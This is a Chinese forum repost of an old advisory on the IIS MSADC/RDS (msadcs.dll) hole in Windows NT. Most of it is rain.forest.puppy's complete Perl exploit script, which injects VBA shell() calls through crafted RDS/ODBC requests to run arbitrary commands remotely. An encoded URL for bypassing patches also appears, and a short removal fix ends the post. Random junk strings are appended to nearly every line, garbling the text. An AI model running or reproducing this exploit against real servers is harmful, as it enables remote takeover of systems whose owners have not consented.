IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ; 6PRi/@  
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涉及程序： gXU(0(Gq  
Microsoft NT server |Y?<58[!)  
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描述： W*Ow%$%2  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 %I{>H%CjE  
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详细： A&M(a  
如果你没有时间读详细内容的话，就删除: 78 ]Kv^l^_  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ;?q}98-2  
有关的安全问题就没有了。 < Wp)Y  
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微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。 |MagK$o  
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1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。 \m+=|  
关于利用ODBC远程漏洞的描述，请参看: #`!mQSK  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm |=KzQY|u  
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2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看 <Q"G aqZ  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp :RxMZwa=  
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这里不再论述。 wwQ2\2w>Hm  
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3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似: byMy-v;  
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/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset (y~%6o6  
的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!! gs=ok8w  
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#将下面这段保存为txt文件，然后: "perl -x 文件名" ofw&?Sk0  
%d*0"<v  
#!perl l9OpaOVfJ  
# Dsn=fht  
# MSADC/RDS 'usage' (aka exploit) script m*CW3y{n)  
# }0Uh<v@  
# by rain.forest.puppy /8nUecr  
# z>iXNwz"?  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 1P'A*`!K  
# beta test and find errors! e6mm;@F>  
/GM!3%'=  
use Socket; use Getopt::Std; {2mF\A#.  
getopts("e:vd:h:XR", \%args); -84%6p2-  
R4P&r=?  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; >
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uK`gveY  
if (!defined $args{h} && !defined $args{R}) { >d
&0
a:  
print qq~ D_[NzCv<-  
Usage: msadc.pl -h <host> { -d <delay> -X -v } <SQR";  
-h <host> = host you want to scan (ip or domain) "\T-r2  
-d <seconds> = delay between calls, default 1 second V6'u
\Ch|  
-X = dump Index Server path table, if available h::(b,|f7  
-v = verbose z^jmf_  
-e = external dictionary file for step 5 ~d1=_p:~T  
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e  
Or a -R will resume a command session b/Ma,}  
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~; exit;} l6 }+,v@#  
f~PS'I_r  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 4nP4F+  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ao=e{R)  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} *o\AP([@  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); U<Qi`uoj!  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} kX`m( N$  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } at{p4Sl  
K3`!0(  
if (!defined $args{R}){ $ret = &has_msadc; l4.ql1BX@y  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} =$^90Q,Z;  
}*}F_Y+  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ::'Y07  
. "cmd /c "; ~piE$"]&  
$in=<STDIN>; chomp $in; HeO&p@  
$command="cmd /c " . $in ; RticGQy&5  
5h^BXX|Y*  
if (defined $args{R}) {&load; exit;} 1?^ P=^8   
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print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; /kK!xe  
&try_btcustmr; q
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| 4}Y:d  
print "\nStep 2: Trying to make our own DSN..."; %
4F\#" A  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; \`["IkSg7  
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print "\nStep 3: Trying known DSNs..."; K(PSGlI f  
&known_dsn; ]!P8{xmb@  
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print "\nStep 4: Trying known .mdbs..."; "S6";G^I  
&known_mdb; V|B4lGS&  
64mD%URT  
if (defined $args{e}){ G4P*U3&p  
print "\nStep 5: Trying dictionary of DSN names..."; K1A<m=If  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } tP*GYWI48  
<2%9O;bV[  
print "Sorry Charley...maybe next time?\n"; F[%k;aJ  
exit; \P9ms?((A  
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############################################################################## _?cum~A@  
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sub sendraw { # ripped and modded from whisker ^BRqsVw9  
sleep($delay); # it's a DoS on the server! At least on mine... mDZA\P_  
my ($pstr)=@_; qm_m8  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || )*XWe|H_  
die("Socket problems\n"); ?PTXgIC  
if(connect(S,pack "SnA4x8",2,80,$target)){ ILl~f\xG)  
select(S); $|=1; S ~h*U2  
print $pstr; my @in=<S>; nK+ke)'Zv=  
select(STDOUT); close(S); ,ayJgAD  
return @in; 2gkN
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} else { die("Can't connect...\n"); }} r-!Qw1  
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############################################################################## !9YCuHj!p  
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sub make_header { # make the HTTP request 1n&%L8]  
my $msadc=<<EOT Sw"h!\c`  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 P(2OTfGGx  
User-Agent: ACTIVEDATA iymN|KdpaZ  
Host: $ip :aaX Y:<  
Content-Length: $clen |4 \2,M
#  
Connection: Keep-Alive 4r~K`)/S'  
yvzH}$!]  
ADCClientVersion:01.06 yp^k;G?_d  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Iy4%,8C]g  
1P1h);*Z  
--!ADM!ROX!YOUR!WORLD! EmrkaV-?k  
Content-Type: application/x-varg LL (TD&  
Content-Length: $reqlen .zt&HI.F  

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EOT 0L8fpGJ  
; $msadc=~s/\n/\r\n/g; k+?gWZ\  
return $msadc;} GiM-8y~  
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############################################################################## FvP
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sub make_req { # make the RDS request V>Z4gZp5sc  
my ($switch, $p1, $p2)=@_; U_izKvEh  
my $req=""; my $t1, $t2, $query, $dsn; ~CV.Ci.dG  
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if ($switch==1){ # this is the btcustmr.mdb query ]dJ"_  
$query="Select * from Customers where City=" . make_shell(); tA< UkP
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$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . kqj)&0|X  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} !vJ$$o6#  
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elsif ($switch==2){ # this is general make table query z_R^C%
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$query="create table AZZ (B int, C varchar(10))"; [:gg3Qzx  
$dsn="$p1";} %Gyn.9\  
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elsif ($switch==3){ # this is general exploit table query 6s~B2t:Y  
$query="select * from AZZ where C=" . make_shell(); dm=?o  
$dsn="$p1";} r"
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elsif ($switch==4){ # attempt to hork file info from index server "]q xjs^3?  
$query="select path from scope()"; ^<cJ;u*0  
$dsn="Provider=MSIDXS;";} o/VT"cT  
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elsif ($switch==5){ # bad query *w _o8!3-  
$query="select"; f sh9-iY8e  
$dsn="$p1";} lkJxb~S  
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$t1= make_unicode($query); %]0?vw:;j  
$t2= make_unicode($dsn); et)n`NlcK  
$req = "\x02\x00\x03\x00"; #|Lsi`]+  
$req.= "\x08\x00" . pack ("S1", length($t1)); *'A*!=5(  
$req.= "\x00\x00" . $t1 ; 'SlZ-SdR  
$req.= "\x08\x00" . pack ("S1", length($t2)); =<Sn&uL  
$req.= "\x00\x00" . $t2 ; 3~3tjhw;]9  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; NNqvjM-  
return $req;} k,=<G,  
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############################################################################## m3pDFI  
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sub make_shell { # this makes the shell() statement V-go?b`  
return "'|shell(\"$command\")|'";} F09%f"9  
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############################################################################## 1`L.$T,1!  
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sub make_unicode { # quick little function to convert to unicode m^qFaf
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my ($in)=@_; my $out; K`9~#Zx$  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } =_C&lc"  
return $out;} 5j]!r  
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############################################################################## yUo8-OaL7  
2/V%jS[4#y  
sub rdo_success { # checks for RDO return success (this is kludge) |T/OOIA=sI  
my (@in) = @_; my $base=content_start(@in); a5ZXrWv  
if($in[$base]=~/multipart\/mixed/){ ?uL-qsU  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} H.;}%id  
return 0;} 3ddw'b'aQ  
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############################################################################## bK0(c1*a[e  
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sub make_dsn { # this makes a DSN for us S g1[p#U  
my @drives=("c","d","e","f"); SZrc-f_  
print "\nMaking DSN: "; ^ }5KM87  
foreach $drive (@drives) { fu~iF  
print "$drive: "; f9>pMfi:@  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . yBs-bp"-
 
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" WLj]EsA.  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); [@VzpVhXz  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; G[ #R1'  
return 0 if $2 eq "404"; # not found/doesn't exist 7~Inxk;  
if($2 eq "200") { W =Bw*o-  
foreach $line (@results) { l\V1c90m  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 'R-\6;3E>9  
} return 0;} `~=z0I  
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##############################################################################
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v/*  
sub verify_exists { }F.k,2  
my ($page)=@_; ^8,prxaok  
my @results=sendraw("GET $page HTTP/1.0\n\n"); %au>D  
return $results[0];} O-UA2?N@j  
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############################################################################## svEe@Kt`  
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sub try_btcustmr { My
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my @drives=("c","d","e","f"); g7hI9(8+  
my @dirs=("winnt","winnt35","winnt351","win","windows"); d{NMG)`x\  
S WTZ6(!oW  
foreach $dir (@dirs) { %SIll  
print "$dir -> "; # fun status so you can see progress ?K2E
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foreach $drive (@drives) { t~K[`=G\ex  
print "$drive: "; # ditto GEVDXx>@  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 'do2n/  
$reqlenlen=length( "$reqlen" ); Uq'W<.v5  
$clen= 206 + $reqlenlen + $reqlen; V~/@KU8cH  
sj/k';#
g  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); JSju4TQ4  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ._]Pz6  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} qvy*; <w  
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############################################################################## Q~wS2f`)  
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sub odbc_error { 9QHj$)?k,  
my (@in)=@_; my $base; yZp/P%y  
my $base = content_start(@in); |gxPuAXa)  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this H"w;~;h  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ;Qt/(/  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ](s5;ta   
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; .K4)#oC  
return $in[$base+4].$in[$base+5].$in[$base+6];} T`]%$$1s  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; _qf~ hhi  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . `0U\|I#  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} WO%pX+PoH  
d\3 %5Y  
############################################################################## 1QmOUw}yj  
p JF 9Z  
sub verbose { Y{dX[^[  
my ($in)=@_; 7n8
4`|=  
return if !$verbose; I`IW^eZM  
print STDOUT "\n$in\n";} BH}Cx[n?~  
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############################################################################## cjGN=|`u  
*u|1Z%XO  
sub save { PPG+~.7  
my ($p1, $p2, $p3, $p4)=@_; x5\Du63  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; a;; Es  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 9\Ff z&  
close OUT;} V73/q  
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############################################################################## *mj=kJ7(  
5-fASN.Lx  
sub load { :!CnGKgt  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; #=)>,6Zw  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); Zi]E!Tgn  
@p=<IN>; close(IN); 29Gel  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); +Z_VF30pa  
$target= inet_aton($ip) || die("inet_aton problems"); alzdYiGf  
print "Resuming to $ip ..."; tXrKC  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 58HAl_8W  
if($p[1]==1) { =IX-n$d`>  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; $i<+O,@-  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Q{=r9&&  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 38X{>*  
if (rdo_success(@results)){print "Success!\n";} =w!9:I&a0  
else { print "failed\n"; verbose(odbc_error(@results));}} SnUR?k1  
elsif ($p[1]==3){ eF7I5k4  
if(run_query("$p[3]")){
7y30TU  
print "Success!\n";} else { print "failed\n"; }} 5/U{b5  
elsif ($p[1]==4){ [8Z#HjhQ  
if(run_query($drvst . "$p[3]")){ ;m.6 ~A  
print "Success!\n"; } else { print "failed\n"; }} eTgtt-;VR  
exit;} 9:xs)t- _  
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############################################################################## V,& O
O  
e#}Fm;|d  
sub create_table { -\%5aXr  
my ($in)=@_; (4q/LuP^d  
$reqlen=length( make_req(2,$in,"") ) - 28; j$6Q]5KdoS  
$reqlenlen=length( "$reqlen" ); ,2FI?}+R  
$clen= 206 + $reqlenlen + $reqlen; iE;F=Rb  
my @results=sendraw(make_header() . make_req(2,$in,"")); oVp/EQ  
return 1 if rdo_success(@results); rzie_)a Y%  
my $temp= odbc_error(@results); verbose($temp); Au)~"N~p?  
return 1 if $temp=~/Table 'AZZ' already exists/; `wj'  
return 0;} R64f0NK.  
6)i>qz).
 
############################################################################## s}UJv\*  
LTA0WgzR)  
sub known_dsn { ,vMAX?c  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go gWjr|m<  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", lJfk4 -;M  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", P =Q+VIP&  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); /|&4&$  
!^NZ
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foreach $dSn (@dsns) { Hiwij,1
 
print "."; oz
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next if (!is_access("DSN=$dSn")); v/~&n  
if(create_table("DSN=$dSn")){ 8[AU`F8W  
print "$dSn successful\n"; An?#B4:  
if(run_query("DSN=$dSn")){ 2Rwd\e.z  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { `) ],FE*:  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 2(\PsN w!  
|}YxxeAk  
############################################################################## *+6iXMwe  
?A.ah  
sub is_access { pih 0ME}z  
my ($in)=@_;
}Cfl|t<5f  
$reqlen=length( make_req(5,$in,"") ) - 28; I!kR:Z  
$reqlenlen=length( "$reqlen" ); U%BtBPL  
$clen= 206 + $reqlenlen + $reqlen; 3gJZlH5IR  
my @results=sendraw(make_header() . make_req(5,$in,"")); GCr]x '  
my $temp= odbc_error(@results); y.8nzlkE{  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); X$Q.A^9  
return 0;} :p)^+AF"5  
Y+g(aak+.  
############################################################################## T?Z^2.Pvc  
<RC%<  
sub run_query { b-@9Xjv  
my ($in)=@_; #E\6:UnT  
$reqlen=length( make_req(3,$in,"") ) - 28; XMP4YWuVc  
$reqlenlen=length( "$reqlen" ); 69:-c@L0  
$clen= 206 + $reqlenlen + $reqlen; b9T6JS j  
my @results=sendraw(make_header() . make_req(3,$in,"")); jxhZOLG  
return 1 if rdo_success(@results); :#n>Q1}x  
my $temp= odbc_error(@results); verbose($temp); !v%>W< 3Q  
return 0;} %2\Pe 2Z  
#v~dhx=R  
############################################################################## ?uJX
  
`]4(Z"R  
sub known_mdb { fJk'5kv  
my @drives=("c","d","e","f","g"); EX, {1^h  
my @dirs=("winnt","winnt35","winnt351","win","windows"); s?9Y3]&+&M  
my $dir, $drive, $mdb; .rwW5"RPq  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; qJonzFp7  
glROT@  
# this is sparse, because I don't know of many }F9#3W&`c  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Q9f5}  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", "8U=0a  
"\\system32\\certmdb.mdb", BKE?o^03  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% c(5XT[Tw  
:.a184ax  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", %WmTG }L)  
"\\cfusion\\cfapps\\forums\\forums_.mdb", <*u^8lCA  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", @;hdZLG]`&  
"\\cfusion\\cfapps\\security\\realm_.mdb", `*kl>}$  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", H=Cj/jE  
"\\cfusion\\database\\cfexamples.mdb", !SnLvW89Z  
"\\cfusion\\database\\cfsnippets.mdb", '<ZHzDW@  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", kou
7_4oS  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 8s[1-l
 
"\\cfusion\\brighttiger\\database\\cleam.mdb", -lv(@7o~  
"\\cfusion\\database\\smpolicy.mdb", $XkO\6kh  
"\\cfusion\\database\cypress.mdb", cuy9QBB :  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", bBo>Y7%  
"\\website\\cgi-win\\dbsample.mdb", BOy&3.h5?  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", q*a~9.i@  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" }ksp(.}G  
); #these are just MujEjD "|  
foreach $drive (@drives) { rb'mFqg*u  
foreach $dir (@dirs){ eq&QWxiD*  
foreach $mdb (@sysmdbs) { $[7/~I>m  
print ".";
>
mEfd=p  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ Zvfy%k   
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; O%F*i2I:+k  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ouFKqRs;  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; Hmx.BBz  
} else { print "Something's borked. Use verbose next time\n"; }}}}} I=P<RG7j)  
&u6n5-!v  
foreach $drive (@drives) { =i;T?*@  
foreach $mdb (@mdbs) { OpIeo+^X*  
print "."; w2('75$J  
if(create_table($drv . $drive . $dir . $mdb)){ UH\{:@GjNO  
print "\n" . $drive . $dir . $mdb . " successful\n"; :kwDa a  
if(run_query($drv . $drive . $dir . $mdb)){ .J+F HG'  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; kFyp;=d:K  
} else { print "Something's borked. Use verbose next time\n"; }}}} Lg#(?tMp,'  
} \\Q){\S  
}?+tX<j  
############################################################################## L?&&4%%  
!su773vo  
sub hork_idx { =iDd{$  
print "\nAttempting to dump Index Server tables...\n"; cc}#-HKR[  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 9zCuVUcd$.  
$reqlen=length( make_req(4,"","") ) - 28; 1Qz@  
$reqlenlen=length( "$reqlen" ); G^dzE/:  
$clen= 206 + $reqlenlen + $reqlen; !)W#|sys&  
my @results=sendraw2(make_header() . make_req(4,"","")); ]Ge>S?u  
if (rdo_success(@results)){ ryA+Lli.  
my $max=@results; my $c; my %d; =d:3]M^
 
for($c=19; $c<$max; $c++){ >NV1#\5_R@  
$results[$c]=~s/\x00//g; oEFo7X`t  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; K3,PmI&W  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; oJ"D5d,  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; |m@>AbR5dk  
$d{"$1$2"}="";} +StsSZ  
foreach $c (keys %d){ print "$c\n"; } @qx$b~%  
} else {print "Index server doesn't seem to be installed.\n"; }} DvOvtd  
,]]IJ;:w  
############################################################################## T*8K.yw2  
8HIX$OX>2  
sub dsn_dict { +KNd%AJ  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); EdSUBoWF}  
while(<IN>){ zM<L_l&  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; +qT+iHa|n  
next if (!is_access("DSN=$dSn")); m@w469&<(q  
if(create_table("DSN=$dSn")){ RQ^ \|+_  
print "$dSn successful\n"; W@'*G*f  
if(run_query("DSN=$dSn")){ CY[3%7fv  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { $4)L~g|  
print "Something's borked. Use verbose next time\n";}}} r=AA /n<  
print "\n"; close(IN);} T,vh=UF%]  
Q|S>C%4?  
############################################################################## BS?$eai@:9  
du#f_|xG  
sub sendraw2 { # ripped and modded from whisker Rr[Wka9[  
sleep($delay); # it's a DoS on the server! At least on mine... <63TN`B  
my ($pstr)=@_; aD_7^
8>  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || zfg+gd)Z
 
die("Socket problems\n"); @M'qi=s*  
if(connect(S,pack "SnA4x8",2,80,$target)){ @v&s|X'  
print "Connected. Getting data"; :$PrlE  
open(OUT,">raw.out"); my @in; DxpJP,wY3  
select(S); $|=1; print $pstr; Y3(I;~$!  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} yaWY>sB  
close(OUT); select(STDOUT); close(S); return @in; 5ddfdIp  
} else { die("Can't connect...\n"); }} 0) F\aJ4Y  
Y"yrc0'&T  
############################################################################## IA]wO%c  
3Lq9pdM>2@  
sub content_start { # this will take in the server headers -Wh 2hWg+  
my (@in)=@_; my $c; {9x>@p/  
for ($c=1;$c<500;$c++) { ;fN^MW@&[  
if($in[$c] =~/^\x0d\x0a/){ T0)b
njm  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } )EKWsGNe/  
else { return $c+1; }}} .jtv Hr}U  
return -1;} # it should never get here actually cx&\oP  
n4}e!  
############################################################################## twbxi{8e.  
&rPAW V'v  
sub funky { 6
PS[OB{3  
my (@in)=@_; my $error=odbc_error(@in); SBDGms  
if($error=~/ADO could not find the specified provider/){ FH$q,BI!R  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; _G'A]O/BZD  
exit;} Q6e7Z-8  
if($error=~/A Handler is required/){ Cg`lQYU  
print "\nServer has custom handler filters (they most likely are patched)\n"; 7l~^KsX  
exit;} *,*O.#<6  
if($error=~/specified Handler has denied Access/){ ~kSOYvK$'  
print "\nServer has custom handler filters (they most likely are patched)\n"; t*A[v  
exit;}} UX<-jY#'V  
V|}9bNF  
############################################################################## iSW<7pNq0  
^yq}>_  
sub has_msadc { vNl)ltzJF  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
dga4|7-MY  
my $base=content_start(@results); BGwD{6`U  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); [
m6+I9  
return 0;} fqq4Qc)#U&  
hiA\~}sl n  
######################## UL>2gl4s/  
~
/z%yg  
u U>L (  
解决方案： p|mFF0SL  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll v-q-CI?B#  
2、移除web 目录: /msadc

很老的一篇文章 vq+CW?*"  
/4c`[  
拿出来充数 哈哈